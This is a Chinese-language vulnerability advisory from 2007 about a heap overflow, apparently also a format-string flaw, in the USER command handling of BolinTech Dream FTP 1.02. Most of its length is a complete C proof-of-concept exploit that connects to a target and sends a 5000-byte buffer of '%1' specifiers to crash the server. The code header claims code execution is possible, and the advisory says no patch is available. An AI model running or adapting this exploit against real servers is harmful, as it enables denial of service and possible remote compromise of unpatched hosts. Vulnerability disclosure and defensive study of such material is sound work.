发布日期：2007-01-14
更新日期：2007-01-16

受影响系统：

BolinTech Dream FTP 1.02

描述：

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BUGTRAQ  ID: 22044

Dream FTP Server是一款多线程的ftp服务器。

Dream FTP Server在处理通过USER命令发送的将要在Server Log中所显示的数据时存在堆溢出漏洞，如果攻击者发送了超过2000字节的超长字符串的话，就可以触发这个溢出，导致执行任意代码。

<*来源：Marsu （Marsupilamipowa@hotmail.fr）
  
  链接：http://secunia.com/advisories/23731/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/**************************************************************************
*BolinTech DreamFTP USER buffer overflow                                  *
*                                                                         *
*The server does not correctly handle format string so sending a command  *
*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX *
*                                                                         *
*This is only a POC but code execution is possible                        *
*                                                                         *
*usage: dreamftp.exe ip port                                              *
*                                                                         *
*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            *
**************************************************************************/

#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
    struct hostent *he;
    struct sockaddr_in sock_addr;
    WSADATA wsa;
    int ftpsock;
    char recvbuff[1024];
    char evilbuff[5003];
    int buflen=5000;// edx=31253125
    int i;

    if (argc!=3)
    {
        printf("[+] Usage: %s <ip> <port>\n",argv[0]);
        return 1;
    }
    WSACleanup();
    WSAStartup(MAKEWORD(2,0),&wsa);

    printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
    if ((he=gethostbyname(argv[1])) == NULL) {
        printf("Failed\n[-] Could not init gethostbyname\n");
        return 1;
    }
    if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Failed\n[-] Socket error\n");
        return 1;
    }

    sock_addr.sin_family = PF_INET;
    sock_addr.sin_port = htons(atoi(argv[2]));
    sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
    memset(&(sock_addr.sin_zero), '\0', 8);
    if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
        printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
        return 1;
    }
    printf("OK\n");
    memset(recvbuff,'\0',1024);
    recv(ftpsock, recvbuff, 1024, 0);

    printf("[+] Building payload ... ");
    for (i=0;i<buflen;i+=2) {
        memcpy(evilbuff+i,"%1",2);
    }

    memcpy(evilbuff,"USER ",5);
    memcpy(evilbuff+buflen,"\r\n\0",3);
    printf("OK\n[+] Sending USER ... ");
    if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
        printf("Failed\n[-] Could not send\n");
        return 1;
    }
    printf("OK\n");
    memset(recvbuff,'\0',1024);
    recv(ftpsock, recvbuff, 1024, 0);
    Sleep(1000);
    printf("[+] Host should be down\n");
    return 0;
}

建议：

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厂商补丁：

BolinTech
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.bolintech.com/index.htm

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